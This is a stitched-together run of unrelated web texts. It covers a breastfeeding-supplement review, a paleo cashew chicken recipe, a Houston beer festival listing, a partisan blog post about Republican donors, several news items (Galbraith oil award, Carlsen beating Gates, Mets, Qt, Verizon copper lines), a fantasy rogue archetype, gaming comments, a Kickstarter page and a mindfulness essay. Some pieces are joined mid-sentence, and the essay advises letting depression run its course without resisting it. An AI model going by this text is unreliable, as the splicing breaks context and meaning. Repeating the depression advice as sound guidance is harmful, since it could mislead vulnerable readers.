Singapore and South Korea have previously banned Ashley Madison, citing that it threatened family values.I tried this product to increase my milk supply. We had difficulties breast feeding due to my son’s tongue tie, so I was mainly pumping and bottle feeding and giving formula at night. I was hoping to increase the amount of milk I was able to pump with this product. I took the lowest recommended dose for one day (2 pills 3 times in one day). I noticed the maple syrup smell in my sweat right away. I’m not sure it affected my milk supply at all, and I didn’t experience any adverse effects, but it gave my son tummy troubles. It caused him to have issues with gas which made him very fussy, and his BMs became very watery. Even though I only took one day’s worth, it took several days to get it out of my system. I was hoping this would make things easier, but it ended up causing us more trouble than we had at the start. I know this product works for many other mothers, but because we had such a bad experience with it I cannot recommend it.Paleo Cashew Chicken. Whole30 and Keto Cashew Chicken recipe with tender juicy stir-fry chicken breasts. This healthy, low carb, and flavorful Paleo Cashew Chicken is easy and quick to make, packed with big flavor. Learn how to make cashew nut chicken tender, soft, and moist for the best Cashew Chicken recipe!
Paleo Cashew Chicken – Tender and Moist Chicken Breasts
Ever wonder how to make stir-fry chicken tender and moist like your favorite Chinese takeout? Good news! My Paleo Cashew Chicken recipe will show you how to make cashew chicken healthy, low carb, and with a simple technique to keep stir-fry chicken tender, moist, and juicy.
MY LATEST VIDEOS MY LATEST VIDEOS
The most flavorful and tender Paleo Cashew Chicken – Whole30, Keto, and Low carb
To make this Paleo Cashew Chicken truly flavorful, I used Entube’s harissa chili paste to mimic Sichuan flavor. There are two key points to make your Paleo Cashew Chicken packed with flavor –
Keep the sauté skillet dry (i.e. non-watery) when saluting the aromatics and harissa sauce in the recipe steps below. Saute ingredients separately to keep the vegetables crunchy. Be sure to follow the recipe instructions below for more info.
Check out my article on 7 stir-fry mistakes every home cook should know.
How to make stir-fry chicken tender and soft
Thin slice chicken breasts Coat the chicken breasts with one lightly whisked egg white, salt, white pepper, and arrowroot powder Blanch them in hot boiling water until the pieces turn white color. Set aside to drain. Stir-fry the chicken further with sauce and vegetables.
This is the secret to make stir-fry chicken tender just like your favorite Chinese restaurant and it’s a technique called velvet.
This Paleo Cashew Chicken is the perfect example for Chinese stir-fry. It hits all the remarks and characteristics – color, flavor, and texture. The vegetables are colorful and crunchy and the chicken breasts are moist and tender.
Check out this YouTube video I made a few years back. Same technique and method for my Paleo Cashew Chicken!
So my friends, be sure to follow the instructions below. I guarantee you’ll use the velvet technique whenever you make stir-fry chicken and this Paleo Cashew Chicken will become one of your favorite chicken stir-fry dishes!
This Paleo Cashew Chicken is –
Tender, moist, soft
Big on flavor
Very appetizing
Paleo, Whole30, Keto, Low carb
If you give this Paleo Cashew Chicken a try, let me know! Leave a comment and rate the recipe. And don’t forget to take a picture and tag it #IHeartUmami on Instagram. I’d love to see what you come up with. XOXO!
5 from 24 votes Print Paleo Cashew Chicken Prep Time 20 mins Cook Time 15 mins Total Time 35 mins Paleo Cashew Chicken. Whole30 and Keto Cashew Chicken recipe with tender juicy stir-fry chicken breasts. This healthy, low carb, and flavorful Paleo Cashew Chicken is easy and quick to make, packed with big flavor. Learn how to make cashew nut chicken tender, soft, and moist for the best Cashew Chicken recipe! Course: Main Cuisine: Chinese Keyword: Keto Cashew Chicken, Paleo Cashew Chicken, Whole30 Cashew Chicken Servings : 4 servings Calories : 294 kcal Author : ChihYu Ingredients 1 ½ lbs chicken breasts thin sliced (think sashimi thin slices)
1 small yellow onion diced
1 red and 1 green bell peppers diced (or replace green bell pepper for ¾ pint shishito peppers)
3 garlic cloves minced
3 tsp fresh ginger finely chopped
2 tbsp Entube’s Harissa chili paste alternative: tomato paste
⅓ cup raw or toasted cashew
Coarse salt and white pepper to taste
Coconut oil or ghee saute use Stir-fry sauce : (stir and dissolve well) 2 tbsp coconut aminos
1 tbsp Red Boat fish sauce
¼ tsp arrowroot powder My signature formula to make stir-fry chicken tender: 1 egg white lightly beaten
½ tsp sea salt
Pinch of white pepper
¾ tbsp arrowroot powder US Customary - Metric Instructions Combine thin sliced chicken breasts with ingredients under “my signature formula to make stir-fry chicken tender”. Mix everything well. Set aside in the fridge. Velvet technique: Bring a pot of water to boil. After boiling, lower the temperature to simmering, add 1 tbsp oil, and add chicken from the previous step. Stir the water gently to separate the chicken pieces and prevent them from sticking to each other. After about 1 minute, or as soon as the chicken turns white color, set the chicken aside and drain well. (*Note: the chicken is not cooked through at this stage. We will finish cooking in the following steps) Saute peppers: In a large saute skillet, heat 1 ½ tbsp avocado oil over high heat. When hot, saute diced onions, shishito peppers (or green bell peppers), and red bell peppers with a pinch of salt and white pepper. When the onions just turn translucent and the peppers are still crunchy. Set them aside over a large serving bowl along with any juice/liquid in the skillet. Saute aromatics: Use the same saute pan (there should be no liquid juice in the skillet), heat 1-2 tbsp avocado oil over medium-high heat. When hot lower the heat to medium. Add minced garlic, chopped ginger, harissa paste, and a small pinch of salt. Stir-fry the aromatics for about 10 seconds until fragrant. If it feels too dry when sauteing the aromatics, add a bit more cooking oil. Add chicken: Drain the chicken well and make sure there’s no additional liquid before adding them back to the skillet. Stir-fry with the aromatics and harissa paste for an additional minute. Add “stir-fry sauce combo”. Keep stir-frying until the chicken is cooked through. A few minutes before turning off the heat, add ⅓ cup cashew to the skillet. Coat the sauce over. Serve: Pour the sauce, chicken, and cashew nuts over bell peppers and onions. Serve hot. Recipe Video Recipe Notes If there’s a lot of liquid in the saute pan, scoop out the chicken and reduce the sauce over high heat for about 2-3 minutes and pour the sauce over chicken and bell peppers. Nutrition Facts Paleo Cashew Chicken Amount Per Serving Calories 294 Calories from Fat 81 % Daily Value* Total Fat 9g 14% Saturated Fat 1g 5% Cholesterol 108mg 36% Sodium 701mg 29% Potassium 826mg 24% Total Carbohydrates 11g 4% Dietary Fiber 1g 4% Sugars 4g Protein 39g 78% Vitamin A 3.2% Vitamin C 34.8% Calcium 2.6% Iron 8.4% * Percent Daily Values are based on a 2000 calorie diet.
Love Paleo Chinese Takeout food?
Check out my Paleo Beef with Broccoli, Paleo Kung Pao Chicken, Paleo Sesame Chicken, Chinese Pepper Steak, and Paleo Sweet and Sour Chicken.Note: The 2016 Houston Firkin Fest was originally scheduled for Saturday, April 30th but unfortunately severe weather warnings caused the festival to be rescheduled. Please join us for the new date Saturday, June 18th!
The Houston Firkin Fest is a celebration of unique Texas craft beer served in traditional casks (or firkins). Now in its third year, the Houston Firkin Fest gives attendees the opportunity to sample unique, rare and hard to get beers from craft breweries in Houston and across the state. With small batch beers and capped attendance, expect a much more intimate sampling environment than your average festival.
The 2016 Houston Firkin Fest will be held Saturday, June 18th, 2016 from 1pm - 6pm
(12:30 entrance for VIP, begin serving VIP at 1:00 pm. General admission starts at 2:00 pm)
Presented by the Texas Craft Brewers Guild
Concessionaire- Brigadoon Brewery & Brew School LLC
TICKET OPTIONS
VIP ($80 until sold out, will not be available at the gate)
*** 12:30PM ACCESS (Start pouring at 1:00pm)***
Commemorative tasting cup, 8 sample tickets, a commemorative festival T-shirt, commemorative festival glassware and quality mingle time with brewery reps. Each sample ticket is redeemable for a 3-ounce pour.
General Admission ($40 until June 17/ $50 at gate if available)
***2PM ACCESS***
Commemorative Tasting Cup, plus 8 sample tickets. Each sample ticket is redeemable for a 3-ounce pour.
Designated Driver ($10)
Complimentary nonalcoholic beverages included. Designated drivers must be 21 years of age or older. Note: If accompanying a VIP ticket holder, you will be allowed early entrance.
SPONSORED BY:
PARTICIPATING BREWERIES:
Real Ale Brewing Company, Saint Arnold Brewing Company, Freetail Brewing Co., Deep Ellum Brewing Company, Brigadoon Brewery & Brew School, (512) Brewing Company, Cycler's Brewing, Karbach Brewing Co., No Label Brewing Co., 8th Wonder Brewery, Lone Pint Brewery, New Republic Brewing Company, Southern Star Brewing Company, Brazos Valley Brewing Company, Buffalo Bayou Brewing Company and Eureka Heights Brew Co. (List Subject to Change.)
View the Beer List at Houstonfirkinfest.com
Live music by The Strayhearts.
RSVP on Facebook to let your friends know you're going!
FAQs
What is the Houston Firkin Fest?
The Houston Firkin Fest is a celebration of unique Texas craft beer served in traditional casks (or firkins). The Houston Firkin Fest will focus on providing our attendees with unique, rare and hard to get beers from craft breweries in Houston and across the state. The Houston Firkin Fest is held under the pavilion at Hennessy Park, right next to Saint Arnold Brewing.
Are there ID requirements or an age limit to enter the event?
Attendees must be 21+. ID required to enter / re-enter.
Will the event be covered?
Yes, we're hoping for clear skies, but Houston Firkin Fest is a covered event so attendees will be able to stay dry either way.
Will additional samples be available for purchase at the event?
Additional sample ticket packages will be available on site for $1/sample and sold in increments of four and eight.
Will there be a food truck and non-alcoholic beverages available?
Yes! Water and soda will be available and a food truck will be parked outside the event.
What are my transport/parking options getting to the event?
Parking is available for free in the Saint Arnold parking lots located directly across and adjacent to Hennessy Park or on the street.
What can/can't I bring to the event?
NO FIREARMS or weapons; blankets and chairs OK but not under pavilion, NO COOLERS and NO GLASSES. | CLEAR AND EMPTY NON-GLASS WATER BOTTLES OK, but NO OTHER DRINKS and NO OUTSIDE FOOD. No large bags or backpacks. Free water will be available on the festival grounds. | Due to city rule, NO PETS, NO SMOKING ANYWHERE.
Where can I contact the organizer with any questions?
info@texascraftbrewersguild.org
Is my registration/ticket transferrable?
ALL SALES FINAL Refunds, exchanges, address and name changes not allowed once a ticket is purchased.There was a luncheon. Four GOPers sitting around chatting. The story goes that THE question came up: ‘If Trump is the nominee running against Hillary, who would you vote for?’ One version is that most of them raised their hands for Hillary. But there was clarification the next day from former US Ambassador to the European Union, Rockwell Schnable. He felt confident all the Republicans at the table “would support the final GOP nominee for president, whomever that turns out to be.” THAT IS, until he further clarified later that day:
Schnabel called back later on Tuesday afternoon to clarify what he meant. “My only caveat would be that … I assume that the Republican we’ll nominate will be somebody that would make a great president,” he said. “That’s not a conversation we’ve had to have in the past, but obviously there are some we would be concerned about.” The four Republican donors sitting at that lunch table — Schnabel, Freeman, Spogli and Riordan — have between them contributed more than $2.7 million to candidates and political action committees over their careers. All have donated to former Florida Gov. Jeb Bush’s presidential campaign, and Freeman and Spogli have given $1 million and $50,000, respectively, to the pro-Bush super-PAC Right to Rise.
What about Ted Cruz? Do you think they’d vote for Senator Cruz? Do you think they’d vote for anyone besides Bush or Kasich? How can any Republican ignore the fact that Hillary Clinton has followed in Barack Obama’s footsteps and said her greatest enemies are Republicans –– that she and Obama lied for days about the four Americans who died in Benghazi, the email scandal, the Huma Abedin scandal, the “Vast Right Wing Conspiracy” charges? The Clinton Foundation’s illegal donors?
How can they forget? How can that happen? Can there be a Republican candidate as repugnant as Hillary Clinton?
They’re Jeb Bush backers, and the Bushs and the Clintons are tight. Wish I could find the article in a Dallas magazine showing Laura Bush in the Crawford Ranch home. One of her most admired women is Hillary Clinton because of her work with Afghan women.
Those attending the luncheon in Hotel Bel-Air in Beverly Hills were Dick Riordan, former Republican mayor of Los Angeles (He thinks Trump is “disgusting,” “crazy”), venture capitalist and former ambassador to Italy under G.W. Bush and Spogli’s “business partner” Bradford Freeman, and Rockwell Schnabel.
The same article in The Hill points to some influential Republicans who will or might vote for Trump:
The feeling among the GOP’s business wing is not entirely negative toward Trump. The billionaire has found a couple of champions — including billionaire investor Carl Icahn — but outreach from campaign surrogates has not always found a receptive audience. Several months ago, Doug Manchester, a California developer and chairman of Manchester Financial Group, emailed a number of Republican donors plugging Trump for president. “I met with Donald himself and was again very impressed with a Man [sic] who does not have to be doing what he is but believes as I do that we need to Make America great again and believe he can do it!!” Manchester wrote to his friends in an email seen by The Hill.... “I think Trump can win,” added Manchester, known in donor circles as “Papa Doug.”
So maybe Riordan thought on it a bit. There’s “disgusting” and then there’s despicable and disgusting, and that would be Hillary:
No fan of Trump, Riordan says he nonetheless believes that if elected president, the billionaire would change for the better. “If he became president, he would be much more responsible and would surround himself with good people,” Riordan said. “I guess you become sane.”
It’s always something unthinkable, every darn day.
Linked at BadBlue, uncensored news, 24/7. Read it here. You’ll be glad you did.
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Subscribe to Blog via EmailA British court has awarded between $55 million and $75 million to Peter W. Galbraith, the former United States diplomat who advised the Kurds during the negotiations on Iraq’s Constitution, and a Yemeni investor for their stake in a widely criticized oil deal involving Iraq’s rich northern fields, the oil company ordered to pay the award said Wednesday.
Mr. Galbraith, who described himself as an unpaid adviser to the Kurds, helped the Kurds — rather than Iraq’s central government in Baghdad — gain nearly complete control over all new oil finds in the north.
The New York Times and the Norwegian newspaper Dagens Naeringsliv reported last year that during constitutional negotiations in 2005 that addressed, among other things, control of oil fields, Mr. Galbraith had been a paid adviser to the Norwegian oil company DNO, and that Mr. Galbraith had acted as an mediator between DNO and the Kurdish government in talks that won the company a potentially lucrative contract to work those northern fields.
Photo
The court decision on Wednesday stems from a stake in that deal claimed by Mr. Galbraith and the Yemeni investor, Shaher Abdulhak, according to DNO. A Norwegian business associate who worked with Mr. Galbraith in the original talks has said that he sold his interest in the deal to Mr. Abdulhak, accounting for the dual award.
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Iraqi government officials and American analysts have asserted that Mr. Galbraith’s dual role during the constitutional negotiations implied a conflict of interest, since the provisions he championed could have increased the value of his own interests. But he has rejected such claims, saying that he was merely helping the Kurds press their long-stated policy goals. “So, while I may have had interests, I see no conflict,” Mr. Galbraith said last year.Rogue Archetype: Stalker in the Mists
Some rare individuals are born with an innate and curiously specific aptitude, allowing them to magically shape and channel ambient vapours as they will. Though a niche talent often overlooked or even left undiscovered in those so blessed, it is nonetheless one with obvious and invaluable applications, particularly for those in military or intelligence endeavours and far less reputable lines of work. While most will rarely exceed a basic affinity with their element, a select few go on to achieve mastery over their gift, allowing them to fundamentally transcend their physical form and join with the roiling shrouds they command.
Mistcaller
At 3rd level, as a bonus action, you can magically conjure fog per the fog cloud spell at a level equal to half your Rogue level (rounded up). You can reduce this effect's duration to 1 minute to waive its concentration component. In addition to its normal properties, this fog ends when you dismiss it as a bonus action or you use this feature again. The fog cannot be dispersed or destroyed, and its area is heavily or lightly obscured (your choice). As a bonus action, you can make the fog's area heavily or lightly obscured, or move it up to 60 feet to a space you can see.
You can use this feature once. You regain all expended uses of this feature when you complete a short or long rest.
You gain an additional use of this feature whenever you gain another feature from this archetype after Rogue level 3.
Ghost in the Fog
At 3rd level, you have advantage on Dexterity (Stealth) checks made while in mist or fog, and on Wisdom (Perception) checks made against creatures or objects in mist or fog.
Furthermore, mist and fog that are natural or that originate from your concentration effects don't obstruct your vision or count as being heavily or lightly obscured to you.
Vanish Into Mist
At 9th level, while in or adjacent to mist or fog, you can magically dissipate into vapour, reforming and teleporting to an unoccupied space you can see in or adjacent to fog or mist within 120 feet as a bonus action, or as a reaction when you take damage, halving the damage taken. If you do, you can then attempt to hide and you have advantage on the first attack you make against any creature you teleported adjacent to in this way until the end of the current turn.
When you use this feature, you can't use it again for 1 minute unless you expend a use of your Mistcaller feature to do so.
One With Fog
At 13th level, fog and mist don't count as being heavily or lightly obscured to you, and you can never be surprised by creatures and objects in them. If such creatures and objects are within 30 feet of you, you have truesight and blindsight against them, and know their exact location.
Furthermore, you can expend a use of your Mistcaller feature to magically transform into mist per the gaseous form spell, or two uses to transform per the wind walk spell. This effect lasts up to 1 hour or until you cease concentrating on it. You can reduce this effect's duration to 1 minute to waive its concentration component; if you do, you can dismiss it as a bonus action.
Stalker's Resurgence
At 17th level, once per long rest, when you are reduced to 0 hit points or killed while in or adjacent to fog or mist, you can magically discorporate into a plume of spectral vapours. If you do, you revive at the start of your next turn, regain a use of your Mistcaller feature and hit points equal to twice your Rogue level, reforming in an unoccupied space in or adjacent to mist or fog within 120 feet. You can then attempt to hide. If you cannot reform in this way, you die.Microsoft founder Bill Gates attends a session at the annual meeting of the World Economic Forum (WEF) in Davos January 24, 2014. REUTERS/Denis Balibouse
STOCKHOLM (Reuters) - Newly crowned Norwegian world chess champion Magnus Carlsen took just nine moves to checkmate Bill Gates in a speed game to be aired later on Friday.
Challenged to a game in a chat show hosted by well-known Norwegian television presenter Fredrik Skavlan and due to be shown in Norway, Denmark and Sweden, Microsoft founder Gates said before the game that the challenge had “a predetermined outcome”.
Gates, 58, who was ranked by Forbes magazine this year as the world’s second-richest person behind Mexico’s Carlos Slim, had 2 minutes to make his moves against just 30 seconds for Carlsen. He lost to the 23-year-old in around 1 minute 20 seconds.
“Wow, that was fast,” he said to Carlsen, whose rockstar appeal has won him the moniker, the “Justin Bieber of chess”.
The program, clips of which Reuters received in advance, was recorded on Wednesday in London, Norwegian TV NRK said.
Asked by Skavlan under what circumstances he felt intellectually inadequate, Gates answered: “When I play chess with him (Carlsen)”.
Carlsen, a grandmaster since he was 13, received non-stop television coverage in Norway when he beat defending champion Viswanathan Anand of India last November to take his first world title.The initiative wasn't exactly on the fast track. April 1st was the deadline for launching the program -- the state clearly put this off until the last minute, and staff at New York's Energy Research and Development Authority are still hashing out the details of the rebate. Still, it could be vital if it goes according to plan. New York represents one of the larger potential markets for electric cars outside of California, and the added incentive could be important for the Chevy Bolt, Tesla Model 3 and future EVs just affordable enough that even $2,000 could make a big difference. It's particularly important for the Model 3, whose pre-orders are strong enough that you may not get a federal credit at all if you ordered relatively late.At Tauntaun Heights, you’ll find the reptomammal carcass that’s right for you! Outer Rim Realty is now leasing over twenty freshly opened tauntaun apartments on beautiful Ice Planet Hoth, the gem of the Ivax Nebula.
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¶ Home Sweet Taun Taun at SPLITREASONI'm in agreement that the HUD should at the bare minimum be editable enough that everything can be moved around and toggled and stuff, and also adjust opacity as well as size. Those all feel like they would be nice honestly.The most important features for editing the HUD for me would honestly just be the size and opacity, as those can arguably make the biggest difference, and I probably won't move stuff around that much anyways, but I think the option to move things around and toggle aspects on and off is always welcome.About the mini map being allowed in competitive, it's honestly something that from a game design perspective could work either way. It's determined by what kind of gameplay that the game wants to create in competitive. I think if the mini map is going to exist in the casual version of the game, though, I would think including it in competitive would make things more streamlined and would lead to fewer people being confused as hell in competitive, but it could honestly work either way I suppose.Terry Collins famously allowed himself to be talked into letting his starting pitcher work into the ninth inning of Game 5 of the 2015 World Series.
Then the Mets manager watched the 2016 World Series unfold without a single starter making it into the seventh.
Might this become a permanent strategic shift in baseball?
On one hand, Collins said Thursday, he does think we will see more bullpen-dominated postseasons. On the other, he still seemed inclined to give his starters more leeway than the Cubs’ and Indians’ got.
“After watching the World Series and you’re picturing your guys out on that mound, they’re pretty good; I think they’re going to get a little farther than 4 2⁄3 [innings],” Collins said before being honored in Manhattan at The ALS Association Greater New York Chapter’s annual Lou Gehrig Sports Award Benefit.
That was a reference to the decision by his old friend, Cubs manager Joe Maddon, to remove starter Kyle Hendricks with two outs in the fifth inning of Game 7.
Collins added, “I just look at those pitchers [in his regular rotation] and think to myself, man, they’re going to have to hit us pretty hard to take my guys out. My guys are pretty good.”
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But he acknowledged that keeping them healthy is paramount. Matt Harvey, who also was at the dinner, underwent shoulder surgery in July.
“He looks great; he’s in tremendous shape,” Collins said. “That’s what you expect from him and I know when he shows up in January, he’s going to be raring to go.”
Collins said that since the season ended, he has been talking to people in search of answers to keep his pitchers healthy, and he plans to give his position players more rest to avoid injuries.
“There’s no reason we shouldn’t repeat and get back right where we belong,” he said, “but you get those pitchers on that mound, they’re the ones that are going to carry that load.”
One key pitcher, reliever Jeurys Familia, was arrested Monday on a domestic violence charge. Collins declined to comment, citing the ongoing investigation, and said he has not spoken to Familia.
On other matters, he said he hopes to get free-agent outfielder Yoenis Cespedes back and was pleased to learn that the Mets had exercised the options on Jay Bruce and Jose Reyes.
Collins said Bruce’s slow start with the Mets was not indicative of his ability. “He showed at the end of the season what he can do and what he brings to the table, and I’m glad he’s back,” Collins said.
Last month Collins, 67, told Newsday he will decide after 2017 whether to continue managing. Thursday, he downplayed that notion. “When you speak your mind in New York City, it comes back to bite you in the behind,” he said. “If we win and things are going good and I feel as good as I do today, I’ll manage as long as I can.”
Yankees general manager Brian Cashman was honored at the dinner with a Lifetime Achievement Award. He reiterated the offseason approach he discussed last month, saying the focus will be “pitching, pitching, pitching.”
“We have some intentions to try to do some things,” he said, “but again, we want to do things that are smart and strategic rather than harmful.”Finnish company Digia has opened an office in the U.S. in an effort to boost the commercial usage of a cross-platform application and user interface framework Qt, it said on Tuesday.
In March, Digia announced it was acquiring Nokia's Qt Commercial licensing and services business. Nokia kept control of the software itself.
Qt is designed to let developers write and deploy applications across desktop, mobile and embedded OSes without rewriting the source code. It is available either as open source or under a commercial license. Companies that want to use the latter for its embedded and desktop systems can now turn to Digia.
Half of Digia's Qt customers -- about 3,500 were included in the deal with Nokia -- are based in North America. Some of the employees Digia took over from Nokia are also based there. So it made sense for the company to open an office, according to Harri Paani, senior vice president at Digia.
The push is also a result of a growing interest for Qt Commercial in North America. Sales in the second quarter exceeded expectations, driven by license renewals and new "large-scale" deals, the company said without providing any details. The company is releasing its second quarter results next week, Paani said.
The new office, which is in Santa Clara, California, will be responsible for Qt Commercial development, licensing, support and services for Qt Commercial customers in the region.
Digia has also put in place its own build and release system for Qt for embedded and desktop environments.
The commercial version of Qt allows individual developers or companies to keep their source code proprietary. That gives them the freedom to use, modify and license their application with no obligation to share the code, according to Digia.
The ability to do that is especially useful for companies in the defense, aerospace and medical industries where there are restrictions on using open source, it said.
Send news tips and comments to mikael_ricknas@idg.comChange settings of page file Change settings of page file For 8GB/16GB RAM users it can be set: in field initial size - 400, and in maximum - 16000, for 4GB RAM - 8192. The best setting for game beeing installed on eg. D: drive is to have page file disabled on all partions except C: (system's partition will be used for page file globally - make sure you have enough space). If you possess second HDD beside the one on which you had installed the game, use it instead of C: for pagefile. Besides, SSD may behave as the fastest for this purpose. If you have slow HDD with 4GB RAM, set ~6GB in the field "initial size". [20] Further instructions here And also be aware that 5400 RPM 2.5" HDDs on 4GB cause textures disapering during gameplay.Thank you all so much for helping us make Skybourne a reality! Further updates on the project can be found at www.dropdeadstudios.com, where we'll be making announcements, holding forum discussions, and letting everyone know the state of the project as it moves forward.
Skybourne is a broken world of high adventure that borrows as much from Firefly as the Forgotten Realms. In Skybourne, teams of adventurers seek out the remains of long-dead civilizations while doing everything they can to keep their airship fixed and fueled. In Skybourne, displaced dragons, sentient plants and Aasimar kings all do battle to carve out their piece of a new world order, and any ship crew can traverse the planes in search of glory if they have the guts and the equipment to make the trip.
The World of Skybourne
Skybourne is an adventure setting that takes place at the close of one era and the beginning of another.
When the great forest grew, it destroyed everything that had come before it. Millennia of civilization was irrevocably lost as the entire surface world was consumed. Some fled underground or to the ocean, finding refuge in the kingdoms of the drow or the merfolk. Some fled to the mountain tops, the deserts and the frozen wastelands, finding refuge in terrain where not even the forest could grow. Some even fled across planar boundaries, huddling as refugees in strange and foreign worlds. And others took to the skies, transplanting towns, cities, and kingdoms to the clouds where not even the forest could reach.
Skybourne is a world where adventurers are the first and last line of defense of a host of emerging cultures, where the battles of Law and Chaos are just as important as the battles of Good and Evil in the fight to control the world's destiny, and where whole worlds' worth of lost wonders wait to be found.
In Skybourne, the old world has passed, and the new world belongs to whoever has the strength to take it.
The purpose of this kickstarter is to fund the first three books in the Skybourne line: Andrus: The City of Men, Woodfaring Adventures, and The Player’s Guide to Skybourne.
Andrus: The City of Men: Andrus is the last great city of the planet's surface. Founded in a crater not even the forest could claim, creatures the world over travel to Andrus to discuss their discoveries and seek their fortunes. Demon lords, dragon riders, merfolk traders, sentient plant creatures; anything and everything finds its way to Andrus eventually, and a thousand clans, cultures, and factions are constantly locked in battle for control over this last, great holdout of a bygone world.
Woodfaring Adventures: This book details the dangers of the forest and the treasures lurking within. From the relative safety of the treetops, to the dangers of the forest floor, to the inexpressible horror of the cryptwoods, this book details monsters, dungeons, and everything else a team of adventurers might encounter as they explore a dangerous new world.
The Player’s Guide to Skybourne: The Player’s Guide to Skybourne details airships and vehicles, new skill uses and player options, adventuring equipment, and everything else an adventurer needs to make their way through the world of Skybourne. With both completely new options and expanded and updated versions of some of our previous content, The Player's Guide to Skybourne details a host of player options for spicing up any campaign.
Each of these books can be used to begin exploring the Skybourne world, or may be easily adapted and applied to a host of other fantasy worlds, plotlines, and adventures.
Stretch Goals
Now that we have passed our initial funding goal, it's time for stretch goals!
Add-Ons
The following add-ons are available for Skybourne, and more will become available as stretch goals are met. If you’d like any of the following, just increase your pledge by the indicated amount without increasing your pledge level.
Spheres of Power: $45 hardcover, $35 softcover (both include PDF), $15 PDF alone.
This book produced by our last kickstarter details a completely new magic system for the Pathfinder Roleplaying Game. Spheres of Power replaces the entire Vancian tradition with an easily-customizable system for magic that not only allows for customization of casters, but also of the very way magic works in a setting or campaign.
Wizard's Academy: $40 hardcover (Includes PDF), $15 PDF alone.
This combination adventure module/bestiary is designed for use with the Spheres of Power system, and details both old favorites and unique creatures converted for the Spheres of Power system.
Ships of Skybourne: $25 print (Includes PDF), $10 PDF alone.
This book greatly |
future or the past. But when you live in this moment with mindfulness then there is no memory, flashbacks, no past or future. Mindfulness teaches us to live here right now and experience whatsoever is going into this moment in order to get rid of negative thoughts energy.
Whenever depression happens let it happen with full intensity. Never fight with it, don’t create any diversion and force. Just allow it to happen; it will go by itself, wait for the moment and depression goes away. You have to just wait. Nothing lasts forever; the depression will go. Wait; be aware, awake, and alert. It is the same as if day changes naturally into night. But practically what happens when we get depressed, we can move into regression and again we get depressed which is not good, the first depression is fine and it is a natural process in every human. Moreover, it is beautiful because it is not depression but it is an indication of happiness coming soon in the next moment. As soon as we get a second depression, it is worse because it gives birth to mental disorder in the form of regression. Regression happens when we keep on asking many questions inside. The second depression in the form of regression would confuse your mind and create delusion and you would miss the beautiful moment of first depression.
Editor’s note: This article was originally published on San Teaching. Read the original article.
***
NB: This article is for informational purposes only and is not intended to be a substitute for professional advice, diagnosis, or treatment. Always seek the advice of your physician or other qualified health provider with any questions you may have regarding a psychological or psychiatric condition. Never disregard professional medical advice or delay seeking it because of something you have read online. Read the full disclaimer here.
Sanjeev Kumar is a recognised Mindfulness and Mystic Practitioner, educator and author. His extensive research on Practicing the Power of Present Moment is helpful for everyone on this planet. His book has been published in different countries. He invites readers to celebrate each moment. The book teaches lessons on ‘living an aware, mindful life filled with joy’.The shift from copper landlines to fiber-based voice networks is continuing apace, and no one wants it to happen faster than Verizon.
Internet users nationwide are clamoring for fiber, as well, hoping it can free them from slower DSL service or the dreaded cable companies. But not everyone wants fiber, because, when it comes to voice calls, the newer technology doesn’t have all the benefits of the old copper phone network. In particular, fiber doesn’t conduct electricity, where copper does. That means when your power goes out, copper landlines might keep working for days or weeks by drawing electricity over the lines, while a phone that relies on fiber will only last as long as its battery. That's up to eight hours for Verizon’s most widely available backup system.
Thus, while many customers practically beg for fiber, others—particularly those who have suffered through long power outages—want Verizon to keep maintaining the old copper lines. But Verizon continues pressuring customers to switch, and it’s getting harder to say no.
“Verizon's efforts to force people off copper in my area of Rhode Island rise to the level of harassment,” Verizon customer Karen Anne Kolling of North Kingstown, Rhode Island, told Ars.
Kolling is one of numerous Verizon customers who got in touch with Ars in response to articles on the in-progress shutoff of the traditional telephone network. “They have contacted me at least 10 to 20 times in the last year, including showing up unannounced on my doorstep to tell me they were switching me to FiOS," Kolling said. "So far I have managed to save my landline in this area, which is subject to power failures from hurricanes.”
Verizon spokesperson John Bonomo told Ars in an e-mail, "We do not'show up unannounced' to people’s homes. We have to install equipment in customers’ homes, and then very likely we need to do additional work inside the home."
Verizon has 4.9 million residential landline customers still on copper networks, with 5.5 million getting voice service over fiber. Public interest groups and consumers have accused Verizon of letting copper networks deteriorate and using their degraded status to push fiber upgrades. Verizon made $31.5 billion in revenue last quarter along with $4.3 billion in profit. But its wireline business has struggled, with the fiber-based FiOS products propping it up. Total wireline revenue in Q2 2014 was $9.8 billion, up 0.3 percent, the first year-over-year increase in more than seven years. FiOS was the main driver of growth, with revenue increasing 14 percent over the previous year, hitting $3.1 billion.
Verizon cut investment in its wireline business—it had 80,600 wireline employees as of June 30, 2014, down from 84,700 in 2013, 88,600 in 2012, and 93,200 in 2011. Verizon also reduced capital expenditures from $2.95 billion in the six months ending June 30, 2013 to $2.73 billion in the six months ending June 30, 2014.
“They told me if my copper-based landline needs repair, they will not repair it. So I'll have no choice but to switch to FIOS or Cox, both of which have limited time battery backup in the event of power failures,” said Kolling, a longtime software engineer who worked for Xerox PARC, Digital, and Adobe.
Despite Verizon’s warnings, Kolling’s copper lines have continued to work. “I probably have received at least 15 phone calls over the past year or so, and usually they start out with some statement like, ‘due to many problems with your phone service, we are switching you to FIOS,’” Kolling said. “I asked one of these callers what all these problems were, and she found one: eight years ago, in 2006, an outside wire came down and needed to be reattached.”
Kolling said she went up the food chain and was promised by a Verizon executive that residents will receive 30 days' notice if Verizon decides to completely turn off copper-based landline service where she lives. “I hope this is correct, so I have been ignoring them ever since,” she said.
Across the country, Verizon customers tell the same story
Kolling’s story is nearly identical to ones told by Verizon customers from the East Coast to California. Besides the ones who spoke with Ars, others have registered their frustrations in official government proceedings. In May, Public Knowledge and 11 other public interest groups asked the FCC to investigate these complaints and consider enforcement actions. (The groups' letter described complaints about AT&T and Frontier, but the large majority of complaints were directed at Verizon.) The FCC hasn't taken any action in response.
David Berg of Bethesda, Maryland, has managed to keep his copper landlines, though not without hassle. "Verizon appears to be trying hard to get rid of land lines in my area," he told Ars. "They most recently let our landline stay broken for roughly a month while they claimed to be working on an 'area problem.' Actually, the problem with our line was inside the house. Surprise! They also claimed to have fixed it when I called them repeatedly (from my cell phone) to tell them it still wasn’t working properly."
For that month in late spring, Berg said his landline "worked with varying degrees of noise and diminished sound quality. Most of the time, you couldn’t really hear over the hum and other noises and had to give up until later."
“I told them that I never want my copper to be removed, ever.”
Verizon tried to convince him to switch to fiber, but Berg refused. "They finally sent a technician to fix it," he said. "He knocked on the door to say that it was working perfectly well. I invited him in to see that it was not. He worked on it for a couple of hours inside the house and finally got it working without a strong hum, pops, and hisses."
The fix was just in time, because "we’ve had at least three [power] outages this summer, and the copper-based landline worked through them all," Berg said.
